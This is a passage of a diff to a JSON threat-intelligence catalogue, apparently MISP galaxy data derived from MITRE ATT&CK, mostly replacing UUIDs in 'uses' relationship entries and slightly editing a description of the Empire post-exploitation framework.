"tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2075,21 +2354,21 @@ "type": "uses" }, { - "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2117,21 +2396,21 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2151,13 +2430,6 @@ ], "type": "uses" }, - { - "dest-uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ @@ -2166,14 +2438,63 @@ "type": "uses" }, { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0fff2797-19cb-41ea-a5f1-8a9303b8158e", + "dest-uuid": "7610cada-1499-41a4-b3dd-46467b68d177", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dfefe2ed-4389-4318-8762-f0272b350a1b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7b211ac6-c815-4189-93a9-ab415deca926", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2202,21 +2523,21 @@ }, "related": [ { - "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "dest-uuid": "692074ae-bb62-4a5e-a735-02cb6bde458c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "4bc31b94-045b-4752-8920-aebaebdb6470", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2244,14 +2565,14 @@ }, "related": [ { - "dest-uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d", + "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2287,14 +2608,14 @@ }, "related": [ { - "dest-uuid": "428ca9f8-0e33-442a-be87-f869cb4cf73e", + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7d751199-05fa-4a72-920f-85df4506c76c", + "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2369,7 +2690,7 @@ "type": "uses" }, { - "dest-uuid": "0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2405,49 +2726,49 @@ "type": "uses" }, { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "dest-uuid": "806a49c4-970d-43f9-9acc-ac0ee11e6662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "2edd9d6a-5674-4326-a600-ba56de467286", + "dest-uuid": "341e222a-a6e3-4f6f-b69c-831d792b1580", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b39d03cb-7b98-41c4-a878-c40c1a913dc0", + "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "6c174520-beea-43d9-aac6-28fb77f3e446", + "dest-uuid": "5095a853-299c-4876-abd7-ac0050fb5462", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "8d7bd4f5-3a89-4453-9c82-2c8894d5655e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2461,14 +2782,14 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2482,7 +2803,7 @@ "type": "uses" }, { - "dest-uuid": "00d0b012-8a03-410e-95de-5826bf542de6", + "dest-uuid": "b0533c6e-8fea-4788-874f-b799cacc4b92", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2496,14 +2817,14 @@ "type": "uses" }, { - "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2517,7 +2838,7 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2557,6 +2878,48 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0c2d00da-7742-49e7-9928-4514e5075d32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "58af3705-8740-4c68-9329-ec015a7013c2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bf96a5a3-3bce-43b7-8597-88545984c07b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "13cd9151-83b7-410d-9f98-25d0f0d1d80d", @@ -2580,7 +2943,7 @@ }, "related": [ { - "dest-uuid": "1ce03c65-5946-4ac9-9d4d-66db87e024bd", + "dest-uuid": "ca9d3402-ada3-484d-876a-d717bd6e05f2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2607,14 +2970,14 @@ }, "related": [ { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2648,7 +3011,7 @@ }, "related": [ { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "3120b9fa-23b8-4500-ae73-09494f607b7d", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2736,7 +3099,7 @@ }, "related": [ { - "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2750,28 +3113,28 @@ "type": "uses" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2785,7 +3148,7 @@ "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2806,21 +3169,14 @@ "type": "uses" }, { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d", + "dest-uuid": "32901740-b42c-4fdd-bc02-345b5dc57082", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2834,7 +3190,7 @@ "type": "uses" }, { - "dest-uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2861,7 +3217,7 @@ }, "related": [ { - "dest-uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "dest-uuid": "0c4b4fda-9062-47da-98b9-ceae2dcf052a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2890,14 +3246,14 @@ }, "related": [ { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "dest-uuid": "29be378d-262d-4e99-b00d-852d573628e6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2932,14 +3288,14 @@ "type": "uses" }, { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -2988,14 +3344,14 @@ "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3038,7 +3394,7 @@ "type": "uses" }, { - "dest-uuid": "0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3059,14 +3415,14 @@ "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3087,14 +3443,14 @@ "type": "uses" }, { - "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3108,7 +3464,7 @@ "type": "uses" }, { - "dest-uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4", + "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3122,28 +3478,28 @@ "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "00f90846-cbd1-4fc5-9233-df5c2bf2a662", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3178,7 +3534,7 @@ "type": "uses" }, { - "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3206,7 +3562,7 @@ "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3220,7 +3576,21 @@ "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "25659dd6-ea12-45c4-97e6-381e3e4b593e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3300,7 +3670,7 @@ "value": "Xbot - S0298" }, { - "description": "[Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1086) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)\n\n", + "description": "[Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1086) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)", "meta": { "external_id": "S0363", "mitre_platforms": [ @@ -3329,21 +3699,21 @@ "type": "uses" }, { - "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "dest-uuid": "09a60ea3-a8d1-4ae5-976e-5783248b72a4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3357,7 +3727,7 @@ "type": "uses" }, { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3385,21 +3755,21 @@ "type": "uses" }, { - "dest-uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c", + "dest-uuid": "768dce68-8d0d-477a-b01d-0eea98b963a1", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "56ff457d-5e39-492b-974c-dfd2b8603ffe", + "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b39d03cb-7b98-41c4-a878-c40c1a913dc0", + "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3420,14 +3790,14 @@ "type": "uses" }, { - "dest-uuid": "0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "66f73398-8394-4711-85e5-34c8540b22a5", + "dest-uuid": "f5946b5e-9408-485f-a7f7-b5efc88909b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3441,28 +3811,21 @@ "type": "uses" }, { - "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "772bc7a8-a157-42cc-8728-d648e25c7fe7", + "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3476,28 +3839,28 @@ "type": "uses" }, { - "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "dest-uuid": "677569f9-a8b0-459e-ab24-7f18091fa7bf", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c23b740b-a42b-47a1-aec2-9d48ddd547ff", + "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "dest-uuid": "2db31dcd-54da-405d-acef-b9129b816ed6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3511,7 +3874,7 @@ "type": "uses" }, { - "dest-uuid": "9b99b83a-1aac-4e29-b975-b374950551a3", + "dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3525,21 +3888,14 @@ "type": "uses" }, { - "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "c4ad009b-6e13-4419-8d21-918a1652de02", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3553,77 +3909,77 @@ "type": "uses" }, { - "dest-uuid": "6c174520-beea-43d9-aac6-28fb77f3e446", + "dest-uuid": "5095a853-299c-4876-abd7-ac0050fb5462", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1df0326d-2fbc-4d08-a16b-48365f1e742d", + "dest-uuid": "b7dc639b-24cd-482d-a7f1-8897eda21023", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "dest-uuid": "4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", + "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "dest-uuid": "1e9eb839-294b-48cc-b0d3-c45555a2a004", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "dest-uuid": "21875073-b0ee-49e3-9077-1e2a885359af", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3637,7 +3993,7 @@ "type": "uses" }, { - "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3686,14 +4042,14 @@ "type": "uses" }, { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", + "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" }, { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3728,7 +4084,7 @@ "type": "uses" }, { - "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -3742,7 +4098,70 @@ "type": "uses" }, { - "dest-uuid": "4579d9c9-d5b9-45e0-9848-0104637b579f", + "dest-uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7610cada-1499-41a4-b3dd-46467b68d177", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "86a96bf6-cf8b-411c-aaeb-8959944d64f7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + 